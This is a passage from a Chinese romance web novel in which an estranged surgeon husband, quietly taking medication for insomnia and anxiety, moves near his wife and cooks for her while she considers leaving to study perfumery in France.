徐清聿放下衣服,走过去开门。 外面的声音继续:“我告诉你,我昨晚做梦都在被猫 追, 一晚上没睡好,你到底在衣服上沾了什么?” 徐清聿拉开门,看到炸毛的Elliot,眼眸微压:“猫薄荷。” Elliot和Kai面面相觑。 猫薄荷?这什么品味? 哪个大男人会在身上喷猫薄荷味的香水? Elliot气得跳脚,脚跟抵着地面碾了一下:“徐清聿, 你故意的是吧?有猫薄荷你不早说,非要拐弯抹角提醒我不要去猫多的地方。我和你不一样,你古板,我年轻,我有好奇心。” 他比徐清聿小一岁, 严格来说,只有9个月21天, 但Elliot自我感觉他的心理年龄比徐清聿小十岁。 Kai抱着胳膊看好戏,等Elliot骂够才发言:“Zeph, 我做证,他昨天真的被猫追得差点哭出来。” 说完, 他看热闹不嫌事大拿出手机。 Elliot愤怒的语调、炸毛的神态,狼狈的上蹿下跳全部被镜头清晰地记录下来,连他抬起的下巴和皱成川字的眉头都一清二楚。 Kai还特意拉近了镜头,将Elliot的表情拍得无比生动。 Elliot迈步上前, 语气骇人:“删了。” Kai手腕一转,把手机往后缩,打死不删。 他幸灾乐祸道:“精彩的画面要保留下来,以后欣赏。” Elliot眼角一抽。 Kai又补一刀:“剪辑一下,配个BGM,效果会更棒。” Elliot的拳头捏得咯咯作响,抬手去抢手机。 Kai灵活地往徐清聿身后一闪。 这一闪,便看到地上打开的行李箱,他嘻嘻哈哈的表情消失得无影无踪,一秒变脸,“Zeph,你整理行李,要去哪?” 轻松的氛围一扫而空。 Elliot看到,忘记手机这茬,表情也变得严肃:“?” “搬家。”徐清聿言简意赅。 “去哪?”Elliot和Kai异口同声追问。 “你说呢?”徐清聿转身,继续收拾行李。 这话对Elliot说的。 Elliot恍然大悟。 先前徐清聿和他提过一嘴要搬家的事,当时他被他那拜金女朋友闹得心烦,没把他的话当回事,左耳进右耳出了。 以防万一,他又追问:“你该不会是为了追你老婆,直接搬到她家门口吧?” 徐清聿摇头,“不是家门口。” 闻言,Elliot松了口气。 他坐到沙发上,狠狠揉了揉自己的头发,自言自语:“幸好只是搬家,吓我一跳,别人都是千里追妻,只有我是千里追兄弟。” 说完才想起正事,提起袖子要揍人,可Kai又跑了。 Elliot一边骂骂咧咧地抱怨,一边无聊地扫视房间,百无聊赖地看徐清聿收拾东西。 房间真是干净,不染尘埃,装修风格像极了他的主人。 唯一不整洁的,就是地上半开的行李箱。 Elliot的目光又沿着徐清聿垂落的发丝一路滑到后颈,提醒道:“Zeph,你该剪头发了。” “嗯。” 不一会儿,Kai坐到Elliot身边,若无其事地拿起一本书翻了翻。 突然,他看到某个角落,愣了一下。 Kai目光一暗,伸手拿起两瓶药。 白色的瓶身,熟悉的标签,赫然是安眠药和抗焦虑药。 他的笑意一点点收敛。 看到上面的说明书,Kai板起一张脸,问徐清聿:“Zeph……你又开始睡不着了?” 听到这话,Elliot一把夺过药,药瓶在指尖转了转。 他拧开瓶盖,一闻:“Zeph,你不是一直都不吃药的吗” 徐清聿不想谈这个话题。 他从Elliot手中拿过药,把药瓶重新拧好,放进包里。 “Zeph。”Elliot脸颊肌肉紧绷,嘴角下撇,“你是医生,你知道吃这些药意味着什么,有副作用你不知道吗?” “嗯,知道。”徐清聿声音很淡,听不出什么情绪,“只是临时的,等过段时间情况好些了,就停了。” Elliot半信半疑。 他的眉毛锁在一起,形成一个深深的沟壑:“你确定?” 徐清聿背对他。黑色高领毛衣裹着他单薄的肩胛骨,随着叠衣服的动作起伏成一道弧线,他小声说了句:“嗯。” “Zeph,我不是外人,咱们兄弟这么多年,你骗得了别人,骗不了我。你以前从来不碰这些药的,你宁愿熬着,宁愿去健身房跑步跑到虚脱,都不会去吃抗焦虑药。现在呢?” 徐清聿疲惫地按了下太阳穴。 他直起身,毛衣领口晃动,露出半截下颌线,颈侧青筋若隐若现。 窗外的夕阳恰好漫过他的耳尖,在发梢镀了层琥珀色,他转过身,“你们不用担心。” Elliot见他这样,心里更不是滋味:“到底怎么回事?” “……没什么。” Elliot没那么容易应付:“别敷衍我。” 他知道徐清聿的事,知道徐清聿在看心理医生。 在国外,徐清聿一直很忙碌,心外科医生的时间表并不规律,急诊、手术、查房、病例讨论,每天的行程几乎被安排得满满当当。 他跟着主治医生学习,很少有休息。 回国后,许多医生因为高强度的工作,长期作息不规律,身体素质大不如前,但徐清聿的身材保持得很好,甚至比许多年轻医生更有力量感。 原因很简单,他一直坚持运动。 无论工作多忙,他会抽时间去健身房,或者在医院附近的公园跑步。器械训练、拳击、有氧,他都练过,每次训练时,他的专注程度和做手术时一样,不会被任何外界因素打扰。 徐清聿也知道自己的心理状态并不算健康,长久以来,他依靠运动来调节自己的情绪。身体的疲惫能让大脑短暂地放空,剧烈运动后的酣畅淋漓,也能让他在焦虑时找到一点喘息的空间。 所以他并不需要吃药。 自从和云听结婚后,徐清聿的生活有了质的变化。有时候让他夜不能寐的焦虑与失眠,好像在婚姻的温暖怀抱中逐渐消失了。 每晚入睡前,他将云听抱在怀里,感受她的体温,他就更不需要吃药了。 虽然徐清聿的睡眠一直很浅,每次云听稍微动一下,他都会醒来。但每一次醒来,他都会再一次把她搂进怀里。 他喜欢闻着云听的发香,听着她安静的呼吸声,慢慢地再次入睡。 可是,他和云听分开了。 不知是因为习惯了她的气息,还是因为心里那个空荡荡的位置始终未曾填补,徐清聿开始失去入睡的能力。 每当夜深人静,翻来覆去,床单和被子在他不安的动作下散开,他整个人陷入无尽的焦虑中。 起初,他还能够偶尔靠着锻炼和调节入睡。 然而,这些方法已经变得越来越无效。以前一周只有一两次的失眠,渐渐地变成了每晚都难以入睡的煎熬。 每当他闭上眼,脑海中便充满了云听的影像。她的笑容,她的声音,她的每一个小动作,都在他眼前回放。 可她不在,他无法触碰到她的温度,孤单感便笼罩在他心头。 徐清聿回国后又去了一趟心理诊 疗室。 去世、葬礼、离婚……好像让他的病越来越严重了。 如果不是万不得已,他不会去。 Dr.Michael问他:“最近,有什么让你开心的事情吗?” 徐清聿思考了一下,发现自己没有答案。 Dr.Michael又问:“有没有什么让你感到愤怒或沮丧的事?” “有。” “你有意识到自己正在对情绪麻木吗?” “有。” “你最近一次有强烈情绪波动是什么时候?” 徐清聿没说话。 Dr.Michael望着他的表情,沉默了一会儿,叹了口气:“Xu,你的情况,已经不仅仅是普通的失眠了。” 徐清聿的症状,在心理学上属于适应障碍(Adjustment Disorder)的一种表现形式,主要是由于持续性的心理压力和创伤性事件引发的情绪和行为异常反应。 具体表现包括失眠,生理性焦虑等。 徐清聿曾经靠自己的方式调节这些问题,比如运动、强迫自己转移注意力,让自己保持忙碌,以此来逃避情绪上的困扰,对现在的他来说效果微乎其微。 Dr.Michael站在专业人士的视角给出建议:“Xu,你知道你的问题在哪里吗?” “你太擅长控制自己了。” “你一直试图用理智压制情绪,但情绪不会凭空消失。你选择不去面对它们,可它们仍然存在,只是换了一种方式在影响你。” 徐清聿没有反驳。 片刻后,Dr.Michael推了一张药方到他面前:“从你的职业考虑,我不会给你开太强的药物,但适量的助眠药物还是有必要的。” Dr.Michael接着说:“短期使用,配合心理疏导。你的情况不算严重,但如果继续放任,可能会发展成慢性失眠症,甚至引发更严重的焦虑障碍。” “还有Xu,如果可以,告诉你的爱人。” …… 听到徐清聿的解释,Elliot给出评价,“你装得太像了。” Kai附和:“我刚刚进门的时候,差点就信了,你真的什么事都没有。” Elliot眼神里出现一丝怒火。他伸出手,愤怒地捏了捏Kai的肩膀,又把他那原本还算整齐的分头弄得更乱了些。 “Zeph,别人得了病,通常都能一眼看出,身体虚弱、脸色苍白,走路像是走在鬼门关前。可你倒好,怎么着?即使睡眠不足,脸还是这么帅气,谁能发现你的不对劲?” Kai幽怨地甩开Elliot的手,“有种你去折磨Zeph,别碰我。” “还是收起你冷静那一套吧。”Elliot嗤笑,“你也是人,你也有脆弱的一面,也需要人来帮你支撑。如果你一直压抑自己,迟早会出问题的。” 徐清聿没有否认,也没有承认。 他一直都很擅长伪装,尤其是情绪。 无论是在手术台上,还是在生活里,他都能做到滴水不漏,不会让人看出他有什么不对劲的地方。 所以即便是好友,也直到现在才发现他的状态并没有表面上那么好。 Elliot想到什么,问:“她知道这件事吗?” 徐清聿摇头,“她不知道。” Elliot不理解:“你为什么不告诉她?” 徐清聿笑了一下。 “告诉她什么?”他说,“告诉她,我现在睡不着,每天靠药物入睡?” “然后呢?让她觉得我很可怜?让她觉得因为我生病,所以她应该原谅我?” Elliot和Kai哑口无言。 徐清聿地把玻璃杯放在桌上:“我做错了,就是做错了。如果让她因为我的病情原谅我,那我不需要这样的原谅。” “Zeph,你比谁都固执。”Kai有些心疼,“那你打算怎么办?” “她如果愿意回头,我就在。” “如果不愿意,那我也尊重她,但我不会离开她。” Kai不知道该说什么,他知道徐清聿的性格,也知道他的骄傲。可他第一次见到,他放下了所有的骄傲,只剩下等待。 Elliot真的很想揍一顿徐清聿。他真的熬不住了,所以才接受了药物的介入。可是,他却不愿意把这件事告诉云听。 Elliot冷笑了一声:“Zeph,你是不是真的打算撑死自己?” 徐清聿微微紧了紧眉,显然不太喜欢这个形容词,但他没说什么,继续收拾行李。 Elliot从沙发上站起来,走到徐清聿面前,郑重地一拍他的肩膀,“Zeph,所以我决定了。” 徐清聿:“?” Elliot将手搭在徐清聿的肩膀上,“我搬过来和你住一起,怎么样?” 徐清聿推开他,“不需要。” * 自从搬到云听楼下后,徐清聿每天早上六点准时起床,运动、简单洗漱后去厨房做早餐。 他会做饭,但仅限于最基础的家常料理。 西餐里的精致摆盘、复杂的酱汁,或者中餐里需要长时间炖煮的菜,他都不擅长。 但简单的煎蛋、牛奶燕麦、吐司三明治,或者煮个面、熬个粥,他还是能应付的。 锅里的培根滋滋作响,散发诱人的香味。 徐清聿一边用铲子翻动,一边打蛋。 他磕开鸡蛋壳,把蛋液倒进另一个平底锅中。等鸡蛋在锅里凝固后,他往上面撒上一点点盐和黑胡椒。 吐司在烤面包机里烘烤,等培根煎好,鸡蛋也熟了,他把热腾腾的培根和鸡蛋夹进吐司里,又搭配几片生菜,挤上一点沙拉酱,三明治完成。 接着,徐清聿把牛奶倒进小锅里加热,顺便放了几勺燕麦进去,让它们慢慢变得黏稠、顺滑。等牛奶沸腾,他关火,把燕麦牛奶倒进杯子里,最后撒上一些坚果碎,让口感更丰富。 看着面前摆放整齐的早餐,他总觉得好像少了点什么。 想了想,他又回头拿了一个苹果,洗净,切成小块,放进一个小碗里。水果、蛋白质、碳水化合物都有了,营养足够均衡。 做好这些后,他把三明治、燕麦牛奶和水果一一装进餐盒里,扣上盖子,提着早餐出门,上楼。 云听还没有起床。 徐清聿站在门口,按响门铃。 房间里响起窸窸窣窣的声音,云听踩着拖鞋走到门口。 片刻后,门被打开了一道缝。 云听顶着一头乱糟糟的头发站在门口,睡眼惺忪。 她还没睡醒,脸颊微红,眼神迷茫,长发凌乱,额前的碎发胡乱地翘着。 徐清聿看着她这副模样,眼底的笑意加深。 云听没有起床气,但昨晚云朵吵得她整晚没睡,此刻心情略微不爽,“干嘛?” “给你送早餐。”徐清聿抬了抬手里的餐盒。 “你不用这样。”云听抬手拨了拨头发,结果头发更乱了,几根猫毛还挂在她的睡衣上,明晃晃地昭示罪魁祸首的存在。 “我知道。”徐清聿温柔道,“但你还没吃早饭。” 云听知道徐清聿在补偿她,可这种方式让她有些无所适从。他太自然了,自然得仿佛他们之间从未有过裂痕,仿佛这一切都只是很普通的日常。 而且她还没有给徐清聿答复。 “我可以自己做。”她试图拒绝。 徐清聿不置可否地看着她,他笑了声:“你不会。” “……”云听被他堵得无话可说,让开了一点,让他进来。 吃完早饭后,徐清聿送云听上班。 云听坐在副驾驶位,系好安全带,眼神飘向窗外,“你真的没必要每天送我。” “嗯。”徐清聿应了一声,没有正面回答,握着方向盘,把车驶离小区。 “徐清聿,我说得是认真的。” “我也是。”徐清聿依旧没看她,随意地问道:“你工作交接完了吗?什么时候走?” 云听怔愣,他又在转移话题。 她现在有点害怕被关心束缚的感觉,做了个深呼吸,不愿多说:“……还有二十天。” “那你的香水品牌,想好了吗?” 香水品牌…云听低头看着自己的指尖,没说话。 徐清聿凝神盯着前方,静默须臾,他说:“做你想做的。” * 徐清聿早上送云听上班,已经让她觉得麻烦,结果晚上他还来接她下班。 更过分的是,送她回家后,徐清聿也不离开,而是熟门熟路地走进厨房,开始给她做晚饭。 “徐清聿,你不用每天都来。”云听站在厨房门口,看徐清聿戴着围裙,熟练地洗菜、切菜,神情不太自然 。 “嗯。” “我说真的,我自己可以解决。” “解决的方式是点外卖?”徐清聿把切好的蔬菜放进锅里翻炒。 “……” “今天做的是小炒黄牛肉。”不一会儿,徐清聿把菜端上桌,顺手给她盛了一碗米饭,推到她面前,“还有冬瓜排骨汤。” 云听坐下,望着这顿色香味俱全的晚饭,嘴巴张了张,什么也没说,沉默拿起筷子,开始吃饭。 牛肉炒得刚刚好,嫩而不柴,吃起来很开胃。冬瓜排骨汤清淡鲜美,排骨炖得软烂,汤里渗透着淡淡的胡椒香气。 云听吃得很安静,徐清聿也不多话。 吃着吃着,云听问:“你不累吗?” 徐清聿简直把得寸进尺贯彻到底。第一天,他只是看着她吃饭,现在已经和她在同一餐桌上吃饭了。 “还好。”徐清聿说,“做饭比做手术简单多了。” 云听再次把“钥匙还我”这话咽回肚子。 吃完饭,徐清聿收拾完餐桌,把碗筷端进厨房,打开水龙头开始洗碗。 “你不用洗,我可以让阿姨过来。” 徐清聿洗完最后一个碗,把它放进沥水架,“没关系。” 云听吸一口气,耐着性子说:“我想点外卖。” “外卖不健康。”徐清聿说着,擦干手,转身出了厨房。 云听跟在他身后,越来越烦躁:“外卖更好吃。” 徐清聿了然:“那我学一下。” 云听:“……” 这一周,徐清聿的存在感越来越强。 每天早上,他准时敲门,把早餐送到她手里,送她去上班。晚上又理所当然接她下班,送她回家,再顺手做晚餐。 云听一开始还觉得别扭,后来发现拒绝无效,也就懒得再折腾了。 最主要的是,云朵一天不见徐清聿就去扒拉大门。 也不知道徐清聿怎么收买它的。 舔猫。 两人的微信聊天界面大多是徐清聿在问她,“今天想吃什么?”之类的,云听回复得很简洁,一般只有一到两个字。 今天云听主动给徐清聿发了消息。 云听:「徐清聿,今天我要和师傅一起吃饭。」 徐清聿回得很快:「地址,吃完饭我过来。」 窗外的雨越来越大。 徐清聿的态度很强硬,容不得云听拒绝,这突如其来的暴雨又让云听的心情又增添几分沉重。 餐厅。 Ethan夹起一片鱼片,蘸了点酱油:“考虑得怎么样了?” 云听知道他指的是什么。和Ethan提离职时,Ethan告诉她先不要着急,可以先做好发展计划,把市场定位、品牌理念、受众群体都考虑清楚。 这段日子以来,云听心里很空。她没有很明确的思路,单枪匹马也不知道如何开始。 她沉吟几秒,垂眸轻声道:“我还是想自己做,但……” Ethan放下筷子,看着她:“但什么?” “还是老问题,独立做品牌不是件容易的事。”云听坦诚道,“不仅是资金、市场,还有供应链、渠道、推广……我还在犹豫。” Ethan拿起茶杯喝了一口:“你既然要做自己的品牌,就不能闭门造车。我给你推荐一个人,Leon Morris。” “莱昂莫里斯?”云听重复念这个名字,陌生又带着些熟悉感。 “他是法国人,在香水行业二十多年了。”Ethan解释道,“年轻的时候在格拉斯学习调香,后来进入L‘veil(苏醒),负责配方研发。十年前,他离开品牌,自己创业,现在是欧洲一个小众高端香水品牌的主理人。” 云听挑眉:“小众?” “他的品牌不算大众化,但在业内口碑极佳。尤其是对原材料的把控——他有自己的原料供应渠道,甚至在南法、意大利和摩洛哥都有合作的种植园。” 云听心中一动。 “如果你真的想做自己的品牌,原料是基础。”Ethan看出她的想法,继续说,“你可以去他那里看看,学习他的供应链管理,了解如何控制品质。这对你未来的品牌发展有很大帮助。” “他不会像学校那样系统地教你调香,而是直接带着你做实战。从原料采购到品牌推广,你都可以跟着学。” 云听用筷子拨弄着碗里的米饭,心里没什么底气,“他会愿意收我?” “我跟他有些交情。”Ethan给她一个“放松点”的眼神,“他不是那种随便收人的人,但你不同。” 云听问:“怎么个不同法?” 因为我走后门吗? “你不是去当学徒,而是合作。”Ethan看出云听妄自菲薄的心理,“你有自己的想法,有天赋,也有一定的市场认知。他不会拒绝一个有潜力的合作伙伴。” 这确实是一个难得的机会。 如果能跟着Leon Morris学习,她的品牌之路一定会更顺利。 但……她真的要去吗? Ethan:“小云,一开始我不告诉你,一方面是我想听你的计划,另一方面,我不认为你愿意离开你的家庭。换作是我,我也不想离开我的老婆。但是,既然你没有比较完善的规划,不如去国外学习。” 如果是几天前,云听可能会毫不犹豫地答应。 可现在,她迟疑了。 她想起了徐清聿。 最近这段时间,徐清聿对她的态度变了很多。 他用一种温和又隐忍的方式靠近她。 他会记得她随口提到的小事,会在她需要的时候出现,也会安静地陪着她,不再像从前那样冷漠。 她还没接受徐清聿,但她也不再排斥他的接近了。 或者说,她从来没有排斥过他的靠近。 但如果她去法国,可能要待上半年,甚至一年。 Ethan没有催促她,云听从他的眼神中看到了老父亲般的慈爱,“你还有时间考虑,Leon那边,一个月后才开始正式招收学徒,如果你决定去了,我会帮你安排。” 云听点头:“我会认真考虑的。” Ethan没有再说什么,递来的眼神耐人寻味。 晚饭结束。 云听站在餐厅门口,拒绝了Ethan送她回去的好意。 雨水如帘般倾泻而下,街道上溅起一层层细小的水花。 她的心情很复杂,今晚的饭局让她心神不宁,与Ethan谈话后,更加深了她内心的迷茫。 恍神之际,眼前闪过一束车灯。 云听抬头,看到徐清聿的车停在了她面前。 车灯熄灭,车门随之打开,徐清聿撑着一把黑色的伞,身影稳健地从车内走出,周遭的静谧被他的出现打破。 在这片纷乱的雨幕中,风拂过他的侧脸,他黑色的外套在雨中划出一道弧度。 徐清聿的伞檐压得很低,云听看见有一滴水落进了他的脖颈处。雪松混着雨水腥气扑面而来时,他的影子已经完整笼罩住她。 “下这么大的雨,怎么不进去等?”徐清聿走到她面前,“快,进车里。” 云听抬眼望着他,纹丝不动。 徐清聿一身深色的外套,修长挺拔,雨水打湿了衣襟,却丝毫不减他高贵的气质。 见她发呆,他伸手在她面前晃了晃。 云听收回视线,面对徐清聿的关心,她的内心又不自觉地软化了。 徐清聿将伞调整了位置,毫不犹豫地将伞倾斜到云听的一侧,挡住了她头上的雨水。 雨点从伞面上滑下,滴在地面上。 “走吧。” “嗯。” 徐清聿坐进驾驶座,车窗外的雨幕被隔绝在外。 关车门的刹那,他伸手拨开黏在云听锁骨上的湿发。拇指关节蹭过动脉跳动的皮肤,云听瑟缩了一下。 “右座加热开到三档了。”徐清聿退回去,伸手扯过后座毛毯递给云听。 车载广播正放到《Fly Me to the Moon》,萨克斯风撩动潮湿空气,云听听到徐清聿说:“储物格有热可可。” “嗯。”云听别开视线,“谢谢。” 两人都没说话。 前面的十字路口是红灯,徐清聿在一辆白色的SUV车后停下。 他转过头,看到云听的视线在被雨水洗净的街道上漫无目的地游走,心不在焉的样子,关心问:“云听,你不开心吗?” 云听很轻地摇了摇头。 绿灯了。 车子在风雨中继续行驶,雨水在车窗外一滴滴汇聚成小河,渐渐模糊了外面世界的模样,两人之间的距离也在悄然消散,变得近了许多。 将云听送到家后,徐清聿和云朵玩了一会儿。 云朵肚皮朝上,惬意地躺在他腿边,露出圆 滚滚的小肚子。 徐清聿的大手覆在上面,一下又一下,轻柔地打着圈,云朵舒服得眯起眼睛。 看到这温馨的一幕,云听心中最柔软的地方被轻轻触动,心底的坚冰悄然融化。 “它最近总是在门口等你,看来对你挺依赖的。”云听说着,走近了一些,她有些不敢直视徐清聿,只能低下头,嘴角微微翘起。 徐清聿站起身,拍了拍云朵的头,云朵立刻转身跳进了云听的怀里,热切地向她示好。 半小时后。 徐清聿看窗外的雨没有要停的意思,问:“这么大的雨,我可以留下吗?” 云听想拒绝,可她看了一眼外面的大雨,又瞧了瞧脚边懒洋洋的猫,心一软:“可以,睡沙发。” 客厅的沙发不算宽敞,但勉强可以让一个成年人躺下。不过徐清聿长手长脚的躺在沙发上未必舒服。 云听从卧室拿了枕头和被子给徐清聿,简单地交代了几句,就回房间了。 房门合上后,云听靠在门后,听着客厅里窸窣的动静,久久不语。 夜色渐深。 云听闭上眼睛,努力让自己入睡,却总觉得心里有什么东西沉沉的,很难受,像是悬着一根细线。 半夜,她在朦胧间醒了过来。 不知是做了梦,还是单纯地睡不踏实。 她起身下床,推开房门,客厅里没有光,窗外微弱的灯影投在地面上。 她原本只是随意看看,没想到,竟然看到阳台上站了一个人。 徐清聿的身影静静地伫立在阳台边,雨丝被风吹进来,落在他的肩膀和手臂上,渗透进衣料里。 他单手支着栏杆,指尖夹着一根燃了一半的烟,微弱的火星在夜色里忽明忽暗。 云听一步步靠近,在黑暗中出声,“你在干什么?” 徐清聿肩胛骨收缩,烟灰簌簌落在手背。 转身时已经换上惯常的温柔神色,只是眼尾泛着一丝红,“吵醒你了?” 云听注意到阳台角落堆着四五个烟蒂,最底下那个被雨水泡得发胀,她说,“没有。” 徐清聿轻笑出声,笑声裹着潮湿的夜气:“我还以为……咳咳……”,尾音被呛咳声打断。 云听瞧见他湿了半边的肩膀,眉头紧蹙:“雨那么大,你站在这里做什么?” 徐清聿随手掐灭烟,挡住她的视线,抬手将黏在她脸颊的碎发别到耳后。他的指尖很冰,带着尼古丁的苦涩,“有点睡不着,出来抽根烟。” 徐清聿烟瘾不大,只有在心烦的时候才会抽烟。 至少她认识他这么久,从没见过他烟瘾大到半夜起来抽的程度。 云听看到他消瘦的侧脸,忽然觉得,他好像比以前憔悴了些。 她还想再说什么,徐清聿忽然伸手,把她轻轻往屋内推了一下。 “进去吧,别着凉。” 云听被他推了一下,脚步顿住:“你呢?” 徐清聿弯起嘴角,低声道:“再站一会儿就进去。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第六十一章 第61章 第六十一章 偷吻 云听的心在挣扎, 一边是梦想的远方,一边是熟悉的港湾。 她是个决定果断的人,在学业上如此, 在事业上更是如此。唯一犹豫不决的,大概只有对徐清聿的喜欢。 三年前,她毅然决然前往Z国,Z国是她心心念念的国家, 有她最敬爱的老师。 当时Z国局势虽不算动荡,但因一些社会问题引发了小规模的抗议活动,街头偶尔能看到示威人群,交通也会因此受到影响。 孟妍和云渡得知此情况,忧心忡忡, 铁了心劝她不要去。 但是Z国的调香行业正处于蓬勃发展的阶段,不仅有历史悠久的香水品牌,还有不断涌现的新兴独立调香工作室。 所以云听不顾长辈的反对去了Z国。 到了Z国之后,那儿并没有报道上的混乱秩序,所有的发展都井然有序, 云听在那儿度过了成长最快的两年半。 一个多月前,云听决定告别Aurora,哪怕身边同事都劝她慎重考虑,她也没有丝毫动摇。 可这一次, 她的步伐却迟疑了。 她不知道该怎么告诉徐清聿。 如果只是单纯的事业选择,她不会犹豫。去法国进修, 意味着更好的机会、更广阔的未来,她可以学习世界顶尖的技艺,为自己未来的品牌奠定更坚实的基础。 Ethan介绍的老师,无论是资历还是资源, 都是绝佳的选择。 一切都很完美,唯一的问题是徐清聿。 他正在不声不响地填补她生活里的空缺,填补她多年以来渴望的回应。 如果她走了呢? 云听想象过离开的情景。 如果她选择去法国,这一年里,她会彻底沉浸在新的环境里,学习、研究、进步,等到她回国,可能已经完全进入新的阶段。 她的世界会改变。 徐清聿呢?她不知道他会怎么样。 她没有办法再和徐清聿同频,比如生子问题。 如果可以,她不想要孩子。 云听不想去猜,也不想去想。 可转念一想,她早就放弃徐清聿了,不是吗? 可为什么,一想到要离开,就有一根看不到的刺扎进她的心里,轻轻一动,就泛起酸涩的疼痛。 云听在思考应该怎么告诉徐清聿。 如果直接告诉他“我要去法国”,会不会显得太冷漠?可如果绕弯子,似乎又没必要。 其实她大可以像从前,直接发条信息,让他自己去理解。 可是,她不想这样做了。 好几次,她看到徐清聿在抽烟,穿得很单薄,他却像感觉不到冷似的。灯光在他侧脸投下半明半暗的阴影,他的睫毛在眼睑拓下的阴影像折断的蝶翼,正如他一样,看起来毫无生气。 云听不止一次告诉徐清聿,爱人先爱自己。 可是所有的灯光都在和她作对,车灯、路灯、每个房间的灯都将徐清聿的瞳孔照得透亮,云听在里面看见了自己的身影。 里面只有自己。 云听与云闻和辛亦桐聊过出国的决定,她们都支持她。云闻的支持是理性与鼓励,辛亦桐的支持则带着几分无奈与憧憬。 可路见薇却说:“你又不是一辈子不回来了,徐清聿难道不会等你吗?再说,他也可以和你一起去国外啊,为什么要想这么多?” 可是徐清聿不会等,他一定会陪她去。 归根结底,还是那一句话。云听希望徐清聿先爱自己,再爱她。她不希望徐清聿做的决定都是出于想和她在一起,她会有压力。 徐清聿现在还没有继续他的事业,忙前忙后照顾她,她想大部分原因也是她,而不是徐清聿真的厌恶做医生。 云听这几天一直在找合适的时机开口。 有几次,徐清聿做好早餐,递给她一杯牛奶,她张了张嘴,想和徐清聿说把离婚协议书签了吧,最后还是闭上了嘴。 还有一次,她和云闻出去吃饭,回家时,徐清聿站在楼梯口。云听心里一紧,险些脱口而出,可最终,还是低头擦肩而过,丢下一句:“我回来了,你早点回去休息吧。” 她说不出口。 她甚至不知道自己在害怕什么。 如果是以前,她根本不会犹豫。可这次,她的理智却和感情纠缠在一起,让她进退两难。 云听必须去。 但她也清楚,自己必须面对徐清聿,亲口告诉 他。 她害怕看到徐清聿的反应,害怕看到他流露的脆弱和失落,更怕自己心软。可无论如何,她都得做出决定。 * 过几天是舅妈的生日,云听打算去商场挑一份礼物,徐清聿提出要一起去。 她没拒绝,买礼物这种事,多个人参考也不错。 两人吃完早饭,到达商场已经是上午十点。 “先去十一楼看看?”徐清聿按下电梯,他昨晚查过这里的情况,“上个月有家真丝专柜重新装修过。” “嗯。”云听盯着电梯镜面里的倒影。 她和徐清聿保持着半臂距离,肩膀投下的影子却在镜中交叠成暧昧的弧度。 电梯停下,第二波人潮涌进来,一对小情侣站到云听面前。 女生把头靠在男生的肩膀,云听听到女生向男生抱怨每次逃课老师必定点名,这就是亘古不变的学校法则。 男生推开她的头,佯装生气,“你还有脸说,让我帮你去上课,我们俩性别都不一样,这下好了,我们都完。” 云听的运气很好,大学总有几门无聊的水课,她偶尔会逃课,但无事发生。 室友也逃,几人逃课的时间一般错开,但老师每次点名云听都能侥幸逃脱,室友就没那么幸运,平时分一个比一个低。 电梯门关上又合拢,顶灯闪了闪,小情侣走了。 不光是小情侣,所有人都在三楼下了电梯,逼仄的空间里,只剩她和徐清聿。 金属门缝里最后一线天光消失,云听不自觉放轻呼吸。 哪怕已经和徐清聿做过更亲密的事,但和他同处狭小的电梯,云听仍有些局促。 和徐清聿拥抱、接吻、做。爱与现在的心情并不一样,她不知道该如何形容,现在的话有一种和喜欢的学长谈了恋爱的紧张感,既新鲜又羞涩。 大概是徐清聿频频投来的目光,过于炙热。 中央空调送风口正对着云听后颈吹,她借机稍稍偏移位置,远离徐清聿。 不出一秒,徐清聿的呼吸再次逼近,这一次他牵住了云听的手。 他的手很干燥,拢住云听手指的刹那,云听莫名放大了感官,几乎能感受到他掌心浅浅的纹路。 “徐清聿…”她嘴唇翕动,手腕向后挣动半寸。 “嗯。”徐清聿曲起指节,修剪整齐的指甲陷进她指缝软肉,原本克制的力道骤然收紧。 四楼,又挤进大量的人,人越来越多,两人被挤在狭小的角落。 云听尽量忽视被徐清聿攥紧的手,转移注意力,数着不断跳动的红色数字,“五、六……”剩下的尾音还含在舌尖,被身后突然漾开的轻笑烫得缩了回去。 她抬起头,徐清聿正巧低头。 这个距离能看清徐清聿睫毛在眼睑投下的扇形阴影,以及瞳孔边缘稀薄的茶褐色。 他黑得发亮的瞳孔能吞噬一切光芒,而茶褐色的边缘又给深邃的黑暗镶上了一层温暖的边框。 有一种让人心安的温柔。 两人交握的双手不知何时变成十指相扣的姿势,徐清聿拇指指腹正沿着她大拇指侧面的静脉游走。 他的嗓音裹着三分笑,喉结擦过云听蓬松的发顶,“你是小朋友吗?” 云听不明所以。 电梯镜面门映出一个穿草莓棉衣的小女孩,父母一左一右牵住她的手,小女孩则仰头奶声奶气地念:“七、八……” 云听心跳放慢了一拍,不用怀疑,她的脸应该是红透了。 徐清聿的拇指压上她烫红的耳垂,故意学小女孩的腔调,替她数完最后的楼层:“九,十,我们快到了,小朋友。” 温热的吐息钻进耳蜗,云听的睫毛疯狂颤抖。 她看见镜面里两对身影重叠,自己另一只手不知何时揪住了徐清聿的衣服下摆,和小女孩攥着妈妈衣角的动作如出一辙。 小女孩指着镜子里的云听,怯生生地问:“妈妈,那个姐姐为什么脸比草莓还红呀?” 云听赶紧松开手,小女孩的妈妈赶紧捂住了她的嘴。小女孩的爸爸不要好意地朝云听一笑,徐清聿不怀好意朝云听一笑。 “十一层。”机械女声响起,徐清聿屈指弹了下云听滚烫的耳骨,“走吧。” 光明倾泻而入,云听甩开徐清聿的手。 指尖最后离开她掌心时,徐清聿轻轻勾了下她小指蜷曲的指节,又不要脸地凑上去,牵起云听的手。 …… 舅妈是个优雅又知性的人,平日里总是笑眯眯的,唯一一点暴躁都用了亲女儿叶诗遥身上。 她什么都不缺,但她最喜欢丝绸。 云听和徐清聿来到一家卖丝绸的商店。 店里的布置古色古香,墙上挂着一幅幅精美的刺绣,柜台里陈列着各种丝绸制品。 云听看中了一条丝巾,它用上好的桑蚕丝织成,颜色是一种淡淡的米白色,上面绣着几朵精致的梅花,疏密有致,典雅而不失灵动。 她走进,拿起丝巾,轻轻展开,丝绸的质感在指尖滑过,柔软又顺滑。 云听转过身对徐清聿说:“舅妈平时喜欢穿中式衣服,这条丝巾配上去一定很美。” 徐清聿根本看不出丝巾的好与坏,美与不美,在他眼里,除了颜色不同,其他都一个样,他点头:“听你的。” 两人在店里又挑选了几样丝绸制品,有精致的丝绸手帕,上面绣着小小的蝴蝶;还有一对丝绸枕套,上面的图案是传统的花鸟图,色彩淡雅,充满了古典韵味。 结束购物后,云听想去楼下逛一圈。 